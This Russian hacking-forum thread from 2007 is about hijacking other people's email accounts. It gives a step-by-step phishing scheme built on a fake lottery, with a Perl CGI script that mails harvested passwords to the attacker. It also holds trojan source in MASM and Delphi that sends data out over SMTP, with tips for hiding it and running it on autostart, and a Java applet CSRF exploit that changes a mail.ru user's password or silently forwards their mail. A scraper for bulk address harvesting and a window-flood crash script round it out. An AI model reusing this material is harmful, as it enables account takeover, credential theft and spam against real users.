Помощь, советы и способы взлома чужого e-mail.
Взлом e-mail
Сообщений 1 страница 6 из 6
Поделиться22007-07-08 22:34:31
Способы взлома e-mail!
Внимание!!! Данное руководство является лишь учебным пособием, выполнение данных действий на практике противозаконно!!!
В данной статье вы узнаете очередной способ лишить пользователя его собственного ящика. Bruteforce - это самый надежный…но самый долгий способ. Реально этот способ может сработать, если пользователь в качестве пароля использует слово из словаря, либо комбинацию 111111. Но если это не так? Средний пароль - это 6-8 символов, причем используются только малые латинские буквы. Таких букв всего 26, поэтому мы имеем от 308915776 до 208827064576 вариантов (формула расчета = количество_букв ^количество_символов_в_пароле).
Конечно попробовать перебрать небольшой словарик никогда не помешает, а вот брутфорсить миллиарды вариантов - это уже тупо… и не спортивно. Но дело было начато хорошее, и давай его продолжим - ты наверно слышал о социальной инженерии? ОК! Тогда давай попробуем заставить "жертву" саму отдать нам свой пароль.
Какова вероятность убедить "жертву" в необходимости такого деяния? Сложно сказать - все зависит от твоей настойчивости и изобретательности. Этот метод не требует сутками сидеть в Инете, достаточно уделять разработке "жертвы" всего несколько минут, но регулярно. А чтобы не быть голословным, я дам тебе конкретный пример:
Предположим, наша "жертва" имеет ящик на какой-нибудь бесплатной почте и читает письма через Web-интерфейс (именно так поступает большинство юзеров).
Для взлома тебе понадобится:
Html-редактор, к примеру - Microsoft Frontpage (есть в расширенной версии MS Office)
Почтовый клиент, мы возьмем Outlook Express (есть в любой Windows)
Ftp-клиент - можешь скачать гиганта вроде CuteFtp, а можешь воспользоваться и Ftpexe, идущим опять-таки с Windows
Работающая голова и творческий подход
Итого выходит, что если у тебя Win + расширенный офис, то ничего больше тебе и не понадобится. Приступим?
Шаг 1:
Нужно узнать как можно больше о будущей "жертве": пол, возраст, степень "компьютерной образованности". Причем именно уровню этой самой "образованности" я советую уделить особое внимание - она будет определять твою стратегию.
Шаг 2:
Давай будем исходить из того, что все хотят денег. Причем они совсем не против, чтобы деньги свалились на них совершенно неожиданно, скажем в виде выигрыша. Некоторые покупают лотерейные билеты, другие - играют на скачках или в казино, третьи - сидят дома и ничего не делают (не потому, что они не хотят выиграть, просто они не верят в это и поэтому им жаль денег на ту же лотерею). Ну а если эта лотерея будет бесплатной? Платить ничего не надо, а выиграть можно реальные деньги. Думаешь никто не поверит? Еще как поверит! Ведь жертва уже пользуется бесплатной почтой? Что это дает хозяевам сервера? От нашей "жертвы" вроде бы ничего, но они зарабатывают на рекламе - это наверное знает каждый пользователь бесплатного "мыла". Больше пользователей - больше денег. И тут хозяевам почтового сервиса приходит в голову идея - а почему бы ни разыгрывать среди пользователей небольшие денежные призы? "Поделится" с пользователями, чтобы этим розыгрышем привлечь еще больше людей, а значит увеличить свои доходы.
Но почему-то мысль о проведении подобных лотерей не приходит в голову нужным людям…Поэтому такую лотерею проведем мы, а единственным ее участником будет наша "жертва".
Заходим на ту бесплатную почту, которой пользуется "жертва", регистрируемся. Лучше выбрать адрес вроде: lottery@, prizes@ или что-то подобное, это особенно важно, если также предоставляется место под бесплатный сайт. Предположим, нас интересует "жертва" с почтой victim@mailru.com Заходим на сервер и видим: владелец - Hotbox.ru, кроме mailru.com у них еще pisem.net, hotchat.ru, hotbox.ru, pochtamt.ru, fromru.com, krovatka.net. ОК! Регистрируем lottery@hotbox.ru + в "нагрузку" получаем wwwlottery.hotbox.ru ("официальный" сайт лотереи .
Теперь не лишним будет зайти во вновь зарегистрированный ящик и проверить его на наличие рекламного письма, по принципу "добро пожаловать на наш сервер. Вы можете воспользоваться следующими дополнительными услугами…..". Если подобные письма высылают - тебе не надо много думать: сохраняй его на винте - примем за образец. Если такого письма не обнаружится - придется "выдрать" одну из страниц на сервере (в качестве образца "фирменного стиля"), или делать все с нуля, но "по образу и подобию".
Шаг 3:
После осознания "фирменного дизайна" можно приступать к составлению письма "жертве". Как ты понимаешь просто отправить ему "мыло" с просьбой выслать свой пароль "в обмен на $1.000.000" - вариант тупиковый. Поэтому над письмом придется поработать. Давай посмотрим на настоящий лотерейный билет, мы увидим:
Кто и зачем проводит данную лотерею
Правила получения выигрыша и сроки
Размеры выигрыша
Игровое поле
Номер билета
Видел такое? Теперь давай все воспроизведем это в нашем "письме". Только игровое поле будет в форме поля, куда надо ввести "код активации", а ниже дадим пояснением:
* Код активации билета совпадает с вашим паролем
Просто, но вместе с тем - действенно. Берем Html-редактор (Frontpage) и начинаем творить. Потом, то "выделяем" то, что получилось и "вставляем" в Outlook. Вероятно тебе понадобится несколько вариантов письма. Зачем? Ну на первый раз тебе могут и не поверить, тогда придется через недельку послать еще одно письмо с билетом второго "тиража", потом третьего - в общем, если человек будет регулярно получать такие ненавязчивые письма (в со второго "тиража" мы включим сведения о выигравших участниках), то он почти гарантированно захочет испытать свою удачу.
Полезный совет:
Не посылай билет в первом письме, лучше вначале послать "пробный шар" в виде рекламного письма "новости нашего сервиса": придумай что-то вроде "на прошлой неделе число пользователей превысило 10 миллионов", "по результатам опроса на Yandex.ru наш почтовый сервис признан четвертым по популярности ресурсом Рунета", а в самом начале, чтобы бросалось в глаза, приведи информацию о том, что планируется проводить такой-растакой розыгрыш, ждите билетов и удачи. Имея такое письмо, "жертва" наверняка быстрее осознает необходимость ввода "кода активации"
Шаг 4:
Если письмо составлено надо теперь позаботиться о том, чтобы "код активации" из письма попал к нам, а жертва увидела "результаты лотереи". Для этого мы предусмотрели в письме отправку содержимого нашего билета на http://server/check.cgi Как понимаешь, теперь надо сделать сам check.cgi, вот он:
####################
#!/usr/bin/perl -w
use CGI qw(:standard);
my $mailprog = '/usr/sbin/sendmail';
my $mail='xakep@mail.ru';
my $first = param("first");
my $last = param("last");
my $password = param("password");
my $target='victim@mailru.com';
open (MAIL, "|$mailprog -t");
print MAIL "Content-Type: text/plain";
print MAIL "Subject: YESSSS";
print MAIL "To: $mail";
print MAIL "From: '.$target.'";
print MAIL "first is: $first";
print MAIL "last is: $last";
print MAIL "password is: $password";
close (MAIL);
if (length($password)redirect('http://lottery.hotbox.ru/error.htm');
} else {
$query = CGI::new();
print $query->redirect('http://lottery.hotbox.ru/check.htm');
}
####################
Как это работает: скрипт получает значение полей "билета" и отправляет их тебе письмом (кстати, не забудь указать свой адрес). Далее скрипт смотрит длину поля password (он же "код активации"), если его длина меньше трех символов, то жертву перебрасывает на страницу error.htm (где написано "Баклан! Код активации введен неверно!"), в противном случае - происходит перенаправление на страницу с результатом проверки билета (check.htm).
Данный вариант скрипта, конечно, слишком прост в части проверки истинности "кода активации", но зато универсален и подходит для всех почтовых служб.
Как организовать более продвинутую проверку: если почтовый сервис предоставляет доступ по pop3 и работа клиента через web-интерфейс не блокирует его ящик, то для проверки можно использовать следующий код:
use Net::POP3;
$host = "victim_mail.ru";
$pop3=Net::POP3->new($host);
if ($pop3->login("$first","$password")){
###если пароль подошел переводим жертву на страницу результатов
} else {
### иначе переводим на страницу error.htm
}
Шаг 5:
Осталось создать только сам "официальный сайт лотереи". Для большинства "игроков" необходимо всего три простых страницы:
Титульная - большие и красивые надписи призывающие к участию в "лотерее"
Check.htm - страница, на которой "жертва" номер тиража, номер своего билета и сообщение о том, что "к сожалению билет ничего не выиграл".
Error.htm - страница цель которой напомнить "жертве" о необходимости ввода корректного "кода активации"
Думаю, этот шаг не вызовет у тебя особых проблем - юзай Frontpage + свою фантизию и все будет в порядке: нам же не в конкурсе участвовать, а всего лишь пароль получить
Финальные аккорд:
У тебя могут возникнуть проблемы с размещением скрипта: где-то вообще нельзя их использовать, где-то будут запрещены внешние коннекты. Но ты можешь разместить скрипт где угодно, к примеру на virtualave.net. Подобная ситуация складывается на Hotbox.ru, где вообще нет скриптов, но при таком подходе это абсолютно не мешает.
Другая проблема - если "жертва" все-таки использует почтовый клиент, а не web-интерфейс. Тогда при отправке из почтового клиента ты просто не получишь значения "кода активации". Выход - либо сделать error.htm точной копией "билета" и просьбой ввести код активации повторно (лучший вариант), либо изменить "письмо" таким образом, что высылать не "билет", а гиперссылку на него, а саму форму "разместить на "официальном сайте" и предложить "жертве" вводить "владельца билета" самостоятельно.
Поделиться32007-07-10 20:30:20
лучше всего троем его ломать pinch3 сабж называется
Поделиться42007-07-13 00:32:17
А как вздомать без участия хозяина почты.
Поделиться52007-07-13 20:25:59
Ребят а вот вам Трояньчик для Эмейла
Tроян. По моему мнению, это очень маленькая прога, способная отсылать некоторую информацию на нужный e-mail и(или) закачивать и запускать указанные файл(ы). В этой статье я предоставлю некоторую информацию - уже, наверно, всем известную, но ... Итак, начну. Письма отсылать и принимать можно не только с помощью почтовой программы, а и с помощью терминала удаленного доступа, посылая серверу команды. Все команды POP3 и SMTP серверов приводить не буду - для получения этой инфы есть поисковые системы, но о необходимом минимуме расскажу.
Первое.
Пусть у нас есть некоторая сформированная строка (пароли, IP-адрес и т.п.) и нам нужно ее отправить по почте. Само письмо состоит из двух
частей: заголовок (header) и само сообщение. В хидере необходимо указать от кого письмо, кому, кодировка, мэйлер и т.п. Сам сервак подставит туда дату, IP-адрес и прочую ненужную лабуду. Если для кого-то сказанное выше является откровением, то можно посмотреть всю информацию о письме с помощью любого почтового клиента. Для написания этой статьи я открыл почтовый ящик в ukr.net под названием dndanil@ukr.net. SMTP сервак там freemail.ukr.net. Отправка почты осуществляется по 25 порту. Запускаем telnet (для маздая я пользуюсь SecureCRT с http://www.vandyke.com). В поле сервера пишем freemail.ukr.net, в поле порт - 25. Сервак нам должен написать "250 ...". Теперь с ним надо поздороваться - он будет наш IP-адрес определять. Набираем "helo yahoo.com". Параметр - реально существующий адрес. Он нам опять что-то ответит. Как я уже говорил, информацию о командах и сообщениях сервака можно найти через поиск. Теперь нужно сказать серверу от кого письмо. Набираем "MAIL FROM: dndanil@ukr.net". Здесь нужно указать любой почтовый адрес, но он должен быть реально существующим.
Это совсем не значит, что письмо сразу станет анонимным - в хидере будет наш реальный IP-адрес. Для анонимного письма нужно использовать анонимный SMTP, писать бота, подделывать хидер (так, чтобы наш адрес был как пересылочный) и т.п. На 100% это все равно не спасет - все ведут логи. Для получения существующего мыла заходим на "Новый пользователь" и пишем какой-нибудь стандарт "vasiliy@..." - если cервер напишет, что такое имя уже есть, то .... Кстати, автоматизировав этот процесс, можно получить лист рассылки сервака по словарю. Это я отвлекся.
Продолжим. Пишем "RCPT TO: dndanil@ukr.net" - кому письмо. Потом "DATA". Сервак напишет, что введите данные и закончите ".". Потом пишем тело нашего письма ("Hello. Test"). На новой строке ставим точку. Посылаем команду "QUIT". Письмо отправлено. Кстати, после каждой команды надо нажимать "Enter". Письмо, конечно, можно было сделать более навороченным - указать кодировку и т.п., но зачем? После всего этого закрываем телнет и получаем почту с аккаунта dndanil@ukr.net. Там должно быть наше письмо. Нужно автоматизировать этот процесс. Я приведу сорцы на MASM и Delphi. Если что, то переписать на Сях проблем не должно возникнуть.
Вот файл "troyan.asm" :
.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\wsock32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\masm32.lib
; ---------------------------
; Проца посимвольной отправки данных
Mys PROTO :DWORD
; ---------------------------
.DATA
HeloStr db "HELO ukr.net",13,10,0,0 ; Поздороваться с сервером
FromStr db "MAIL FROM: dndanil@ukr.net",13,10,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
; От кого письмо. Куча нулей, чтобы в hex-редакторе изменять обратный адрес в exe файле.
; Система такая - открываем, ищем "MAIL FROM: dndanil@ukr.net", изменяем и в конце 13,10,0
DataStr db "DATA",13,10,0
QuitStr db "QUIT",13,10,0
EndStr db 13,10,".",13,10,0
RcptStr db "RCPT TO: dndanil@ukr.net",13,10,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
; Кому письмо. Куча нулей, чтобы в hex-редакторе изменять обратный адрес в exe файле.
; Система такая - открываем, ищем "RCPT TO: dndanil@ukr.net", изменяем и в конце 13,10,0
MySmtp db "212.42.64.8",0
; Адрес SMTP сервера - сначала надо отпинговать "ping -a freemail.ukr.net" и ввести адрес
; в виде xxx.xxx.xxx.xxx
MyBuf db "Hi, I`m Troyan",13,10,0 ; Строка для отправки
; Для инициализации сокета
wsadata WSADATA <>
sin sockaddr_in <>
Port dd 25
; ---------------------------
.DATA?
sock dd ?
buf db 255 dup (?)
; ---------------------------
; ---------------------------
; ---------------------------
.CODE
start:
; Инициализируем сокет для соединения с 212.42.64.8 - SMTP сервером
invoke WSAStartup,101h,addr wsadata
invoke socket,AF_INET,SOCK_STREAM,IPPROTO_IP
mov sock,eax
mov sin.sin_family,AF_INET
invoke htons,Port
mov sin.sin_port,ax
invoke inet_addr, addr MySmtp
mov sin.sin_addr, eax
; Соединение
invoke connect, sock, addr sin ,sizeof sin
; Получим от сервера ответ
invoke recv, sock, addr buf, sizeof buf, 0
; HELO SERVER
; Запускаем процу посимвольной отправки строки
invoke Mys, addr HeloStr
; Получим от сервера ответ
invoke recv, sock, addr buf, sizeof buf, 0
; Выведем ответ сервера
invoke MessageBox,0,addr buf, addr HeloStr, MB_OK
; MAIL TO:
invoke Mys, addr FromStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr FromStr, MB_OK
; RCPT TO:
invoke Mys, addr RcptStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr RcptStr, MB_OK
; DATA
invoke Mys, addr DataStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr DataStr, MB_OK
; Отправка информации
invoke Mys, addr MyBuf
; .
invoke Mys, addr EndStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr EndStr, MB_OK
; QUIT
invoke Mys, addr QuitStr
invoke recv, sock, addr buf, sizeof buf, 0
invoke MessageBox,0,addr buf, addr QuitStr, MB_OK
; Закрываем сокет
invoke closesocket,sock
; Выходим
invoke ExitProcess,eax
; ---------------------------
; Проца посимвольной отправки данных
Mys proc SendStr : DWORD
; edi указывает на пришедшую строку
mov edi, SendStr
; цикл перебора
.WHILE TRUE
; если конец строки - выход из цикла
.BREAK .IF (byte ptr [edi] == 0 )
; отправка текущего символа
invoke send, sock, edi, 1, 0
; следующий символ
inc edi
.ENDW
ret
Mys endp
END start
После компиляции у нас должен появиться файл "troyan.exe". При запуске он отправит на dndanil@ukr.net через freemail.ukr.net (212.42.64.8) сообщение "Hi, I`m Troyan". При вызове каждой команды, прога будет высвечивать ответ сервера. Для полного скрытия проги нужно поубирать "invoke MessageBox,0,...". Теперь для написания небольшого трояна необходимо дописать формирование нужной строки для отправки, прописать автозапуск, запустить цикл раз в 5 минут или, например, поставить hook на запуск IE и т.п. Если ставить цикл, то можно задолбаться принимать одинаковые письма с сервака. Если ставить hook, то человек может Internet Explorer не пользоваться. Ну тут уже кто как придумает. Также можно написать конфигуратор - смотри комментарии об изменении "Кому" в исходниках. Теперь то же самое на Delphi.
Вот файл "troyan_d.dpr" :
program Troyan_d;
uses Winsock;
const
RcptStr : String = 'dndanil@ukr.net';
var
wsadata: TWSADATA;
sin: TSockAddrIn;
sock: TSocket;
MySmtp : String;
MyBuf: String; // Строка для отправки
iaddr: Integer;
buf: array[0..255] of char;
// Проца посимвольной отправки данных
procedure Mys(str: String);
var
I: Integer;
begin
for I:=1 to Length(str) do if send(sock,str[i],1,0)=SOCKET_ERROR then exit;
end;
begin
MyBuf:='Hi, I`m Troyan';
MySmtp:='212.42.64.8';
// Инициализируем сокет для соединения с 212.42.64.8 - SMTP сервером
WSAStartUp(257, wsadata);
sock:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
sin.sin_family := AF_INET;
htons(25);
sin.sin_port := htons(25);
iaddr:=inet_addr(PChar(MySmtp));
sin.sin_addr.S_addr:=iaddr;
// Соединение
connect(sock,sin,sizeof(sin));
// Получим от сервера ответ
recv(sock,buf,sizeof(buf),0);
// HELO SERVER
// Запускаем процу посимвольной отправки строки
Mys('HELO ukr.net'+#13+#10);
// Получим от сервера ответ
recv(sock,buf,sizeof(buf),0);
// MAIL TO:
Mys('MAIL FROM: '+RcptStr+#13+#10);
recv(sock,buf,sizeof(buf),0);
// RCPT TO:
Mys('RCPT TO: '+RcptStr+#13+#10);
recv(sock,buf,sizeof(buf),0);
// DATA
Mys('DATA'+#13+#10);
recv(sock,buf,sizeof(buf),0);
// Отправка информации
Mys(MyBuf+#13+#10);
// .
Mys(#13+#10+'.'+#13+#10);
recv(sock,buf,sizeof(buf),0);
// QUIT
Mys('QUIT'+#13+#10);
recv(sock,buf,sizeof(buf),0);
// Закрываем сокет
closesocket(sock);
// Выходим
end.
Поделиться62007-07-13 20:30:07
А вот вам Некоторые методы технического взлома почтового ящика с WWW-интерфейсом (на примере wwwmail.ru)
В последнее время значительную популярность обрели почтовые системы на основе WWW-Интерфейса ( wwwhotmail.com, wwwmail.com, wwwnetscape.net в России - wwwmail.ru). Web-почту "местного значения" также предлагают провайдеры, работающие по схемам "Интернет-Кард" или "Интернет-в-кредит". Честно говоря, автору совершенно непонятны причины такого успеха. Сторонники подобных систем обычно заявляют о простоте и удобстве пользования, при большей безопасности, ссылаясь на огромное кол-во вирусов и печальный пример MS Outlook и MS Outlook Express 5. Первые два аргумента, похоже, соответствуют действительности, а о безопасности поговорим чуть ниже.
В статье будет рассмотрен один из вариантов технического подхода к вскрытию почтового ящика, основанного на совместном использовании недоработок современных браузеров, принципиальных недостатках CGI, и ошибках в политике безопасности почтовых служб. Именно он чаще всего применяется в атаках на Web-почту. Для "конкретности", будет описан найденый автором метод "захвата" или "подслушивания" пользователя популярной в России системе mail.ru и способ защиты. "Социальная инженерия" (сравнимый по эффективности) вид взлома рассматриваться не будет просто потому, что она детально рассмотрена в статьях других авторов hackzon'ы. Существуют, конечно и другие методы, возможно, лучшие, чем описанный ниже. Может, их авторы тоже поделятся своими мыслями в отзывах или напишут статью...
1. Принципиальные недостатки безопасности WWW-почты.
(Не)Надежность обычной почтовой програмы определяется (без)грамотностью её написания. Браузер же как система прочтения почты изначально недостаточно безопасен, поэтому создатели почты вынуждены налагать ограничения на теги, используемые в письмах ( <script ...>, <iframe> и т.д.). Как правило, встроенный фильтр просто удаляет "небезопасные" с его точки зрения инструкции. Принципиальных недостатков у подобного подхода два: (1) слишком строгие фильтры могут повредить само письмо, да и (2) трудно предугадать заранее, на что способна безопасная с виду конструкция. Тем не менее, именно на фильтрации основаны большинство существующих почтовых систем. Cамый же уязвимый элемент - это способ задания пользовательских настроек и пароля. Они, как правило, задаются с помощью CGI-форм (как наиболее распространённого стандарта) по тем же каналам, что используются для работы с почтой, и могут быть вызваны любым членам сети, сумевшим подделать ip и cookies пользователя, или (что гораздо проще) временно захватившим контроль над браузером.
2. Технология атаки.
Итак, мы решили перехватить контроль у пользователя xxxx почтовой системы с Web- интерфейсом, например yyyy.zz. Только убедитесь, что он действительно пользуется web-интерфейсом, а не читает почту через pop3 -сервер или пользуется форвардингом. Заводим почтовый ящик на этом же сервисе и в первую очередь смотрим, как задаются и изменяются пароль и прочие настройки. На mail.ru (и многих других) это делает обычная форма, результаты заполнения которой передаются в CGI-скрипт
cgi-bin/modifyuser?modify
Для идентификации пользователя, похоже, используется скрытое поле
<input type="hidden" name="Username" value="intst1">
Нам предоставляется вохможность изменить :
имя пользователя;
<input type="text" name="RealName" value="A.A.Trip">
адрес пересылки (форвардинга) и возможность сохранения почты при этом;
<input type="text" name="Forward" value="..."> <input type=checkbox name="Flags.DoNotKeepMail" >
пароль;
<input type="password" name="Password" value="****************"> <input type="password" name="Password_Verify" value="****************">
Попробуем сформировать соответствующий файл, задав в скрытом поле имя интересующего нас пользователя и отослать форму, т.к. CGI, увы, не проверяет место нахождения формы-запроса.
<form method=post action="http://koi.mail.ru/cgi-bin/modifyuser?modify">
Не получилось. Быть может, в интересующей Вас системе этого окажется достаточно, а в mail.ru такие шутки не проходят. Значит, пользователь идентифицируется с помощью cookies или, хуже того, ip. Пробуем вручную отредактировать cookies - результат тот же. Следовательно, эту форму должен отослать сам пользователь. Наиболее простой способ захвата контроля над браузером - внедрение <script> и &{ ... } конструкций в письмо - давно уже пресечён с помощью фильтров почти всеми, и mail.ru в том числе. Тем не менее попробуйте, чем чёрт не шутит. Если теги разрешены, то фильтрация самого javascript иногда может быть обойдена при помощи средств динамической генерации кода. Неплохой результат иногда дают конструкции вида <тег [XX]SRC=...>, например <IMAGE LoSrc="javascript..."...> , <IFRAME SCR="about: <script...> ..."> для IE и <ilayer src="mocha:..."> для NC. ("mocha" - это старый, всеми позабытый аналог модификатора "javascript", сохранившийся в NC). Вообще, чем реже используется тот или иной тег тем больше вероятность, что разработчики забыли его офильтровать...). Недостаток этого подхода в том, что требуется знать тип и версию используемого браузера. К сожалению (вернее к счастью), у программистов mail.ru память хорошая. В конце концов это их и подвело. Наверное, они (да и не только они, похоже) читали "умные" книжки, запомнив, что Java - одна из самых безопасных технологий в сети. Поэтому и разрешили тег <Applet...>. ( те из Вас, кто читал мои предыдущие статьи "Безопасный Netscape...", уже убедились, что JVM заботится только о собственной безопасности, до того, что сделается с браузером, ей дела нет!). В стандарте Java есть класс AppletContext (зачем?!), позволяющий нам открывать новые окна или менять текущие.
URL myURL=new URL("http:...editprofil.html");
getAppletContext().showDocument(myURL,"_self");
getAppletContext().showDocument(myURL,"newwin");
На любой общедоступной страничке размещаем файл editprofil.html ( содержащий требуемую форму), прописываем к нему путь в апплете, который размещаем там-же и высылаем пользователю письмо, содержащее вызов апплета. Этот эксплойт не зависит от браузера, одинаково "хорошо" работая в IE и NC. ( не забудьте отредактировать _ПУТЬ_)
<applet
code=readr.class
name=readrie
codebase="_ПУТЬ_/"
width=320
height=240 >
<B> SET Java On</B>
</applet>
------------------------------------------------------
readr.java ( не забудьте отредактировать _ПУТЬ_)
-------------------------------------------------------
import java.applet.*;
import java.awt.*;
import java.net.*;
public class readrie extends Applet
{
public void paint(Graphics g)
{ try {
URL myURL=new URL("_ПУТЬ_editprofil.html");
getAppletContext().showDocument(myURL,"_self");
} catch (Exception e) {
g.drawString("Error", 10, 10);
}
}
}
--------------------------------------------------------------------
editprofil.html ( не забудьте отредактировать ИМЯ_ПОЛЬЗОВАТЕЛЯ и
НОВЫЙ_ПАРОЛЬ)
--------------------------------------------------------------------
<html>
<body>
<form method=post action="http://koi.mail.ru/cgi-bin/modifyuser?modify">
<input type="hidden" name="Username" value=" ИМЯ_ПОЛЬЗОВАТЕЛЯ ">
<input type="text" name="RealName" value="A. V. Komlni">
<input type="text" name="Forward" value="">
<input type="password" name="Password" value=" НОВЫЙ_ПАРОЛЬ ">
<input type="password" name="Password_Verify" value=" НОВЫЙ_ПАРОЛЬ ">
<input type=checkbox name="Flags.DoNotKeepMail" >
Не сохранять почту при пересылке<br>
<input type="submit" value="Сохранить"> <input type="reset"
value="Восстановить">
</form>
<SCRIPT LANGUAGE="JavaScript">
document.forms[0].submit();
</script>
</body>
</html>
Письмо можно сформировать просто присоединением (attach) HTML -файла (в Netscape Messenger, например) содержащего необходимые теги. Присоединенный в Messenger'е HTML-файл mail.ru откроет автоматически. Как только абонент попытается прочитать письмо, выполнится апплет, и через несколько секунд форма будет отослана от имени жертвы. Вот, в принципе, и всё. Пользователю присвоен новый пароль. Если мы хотим "просто подслушивать" пользователя, в значение полей Password необходимо внести 16 звёздочек, а в поле Forward - куда отсылать копии. Это довольно рискованный вариант: пользователь может случайно заглянуть в настройки и заметить адрес.
<input type="text" name="Forward" value="spy_addr@xxxx.zz">
<input type="password" name="Password" value="****************">
<input type="password" name="Password_Verify" value="****************">
3. Макияж...
Не стоит, конечно, проводить всю эту процедуру перед глазами пользователя ( может он ещё не отключил подтверждение на отправку форм или успеет запомнить разглядеть и запомнить новый пароль). Разумнее переадресовать апплет на какой-нибудь файл содержащий frameset
<FRAMESET COLS="99%,1%">
<FRAME SRC="zastavka.html" NAME="v1">
<FRAME SRC="editprofile.html" NAME="w1">
где zastavka маскирует письмо под безобидную рекламу или дружеское письмо, а editprofile выполняется в невидимом фрейме. По окончании смены паролей лучше сымитировать сбой т.к. в течении сеанса пользователь может исправить пароль. В IE под Win 95/98, например, достаточно выполнить скрипт open("javascript:open(window.location)"); приводящий к бесконечному размножению окон, требующему перезагрузки. Само письмо лучше отослать (на случай неудачи) от анонимной службы рассылки писем. ( Смотрите статью "Атака на отказ..."). Исходники на wwwchat.ru/~avkvladru/mail/. Защититься от этой атаки как всегда просто. Отключить Java, а лучше, отказаться от использования Web-интерфейсов. Тот же mail.ru предлагает и форвардинг и pop-сервера. Экономия на настройке приносит проблемы с безопасностью не только администраторам больших сетей, поверьте.
4. Составляем список абонентов сервера.
Заветной мечтой всех спамеров мира является список (база) абонентов. Недаром, в их среде постоянно ходят слухи о каких-то почтовых серверах, поддерживающих команду finger . Также пару дней назад на форуме видел очередной крик души ( если таковая ещё жива : "Нужна база е-мейлов по заграничным и Московским сайтам $$$ - Вася 02:53:36 06/1/2000 (0)"
Нередко почтовые Web-сервера могут "бесплатно" предоставить подобную информацию. Метод её получения довольно прост. При легальной работе с почтовым ящиком запоминаем адреса CGI-скриптов, ответственных за смену и чтение параметров пользователей. Потом, вызываем их без параметров (форм). Вполне вероятны ошибки в скриптах, при которых они отработают с последними занесёнными ( или использующимися в текущий момент) именами пользователей. Конечно, шансов на то, что параметры можно изменить нулевые, а вот сообщение об ошибке доступа вполне может содержать имя пользователя, как это происходит на mail.ru. При обращении к тому-же "http://koi.mail.ru/cgi-bin/modifyuser?modify" выдаётся сообщение вида
Настройки пользователя mnebojsa@mail.ru
Ошибка. Не заполнены необходимые поля.
-
При следующем обращении "сдастся" следующий пользователь или "@/" если таковых не окажется. Осталось исследовать внутреннюю структуру ответа, да написать программу, повторяющую подобные запросы и фильтрующую ответ в поисках нужной информации. Лучше запускать её в часы пик
-------------------------
http://www.chat.ru/~avkvladru/mail/getname.java
-------------------------
import java.io.*;
import java.net.*;
import java.util.*;
public class getname {
public static void main(String args[]) {
String nextline;
try
{
URL mailserv= new URL("http://koi.mail.ru/cgi-bin/modifyuser?modify");
for (int i=1;i<=10000;i++)
{
DataInputStream input = new DataInputStream (
mailserv.openConnection().getInputStream());
nextline=input.readLine();
nextline=input.readLine();
nextline=input.readLine(); // Нужный нам адрес - в третьей строке
// выходного документа
System.out.println( nextline);
input.close();
}
}
catch(Exception ioe)
{
System.out.println(ioe.toString());
}
}
};
--------------------------------------------------
Вызовы команд вида ( в среде JDK)
:javac getname.java - компилируем файл
:java getname > userlist.txt
занесут в файл userlist.txt примерно 10000 e-mail адресов.
Теперь больной манией величия "хаксор" вполне может создать программу, автоматически рассылающую письма-ловушки отбирающие почтовые ящики, практичный спаммер - рекламу, а конкуренты - сообщение, вида: "бесплатный сервис mail.ru будет с начала месяца прекращён, воспользуйтесь xxxx.ru" или всё вместе
P.S. "Иллюстрация"
Рабочий пример по захвату ящика находится в почтовом боксе intst2 сервера wwwmail.ru. Паролем является комбинация из шести единиц "111111" или двоек "222222": попробуйте обе.
В InBox ( Входящих) находятся два письма:
От Дата Размер Тема
1 AVK Jan 07 1K change pass to 111111 2 AVK Jan 07 1K change pass to 222222
Когда Вы открываете любое из писем, оно автоматически меняет пароль бокса на указанный в "Теме" (111111 или 222222 соответственно). Для наглядности пример приведён без макияжа( маскировки). Пожалуйста, перед запуском, убедитесь что у Вас включены cookies (они необходимы для корректной работы почтового сервера) и работает JVM(Java).
PLS, не меняйте и не портьте почтовый ящик. Если пример не работает - скорее всего персонал mail.ru, получив извещение, устранил ошибку. Сообщите об этом мне или на hackzone.
P.P.S. Уважаемые читатели, к сожалению, пример постоянно портят (зачем-то стирают, меняют пароль), а из-за разницы времён мне трудно его оперативно исправлять .
Подробности можете прочитать на форуме.
За адресом примера, если есть желание проверить, обращайтесь ко мне на e-mail. Все файлы, необходимые для создания своего эксплойта лежат на wwwchat.ru/~avkvladru/mail/. При проверке Вам достаточно приаттачить файл readr111.html к письму, выслать его на свой почтовый ящик mail.ru и прочитать письмо. Пароль изменится на 111111. Внимание, пример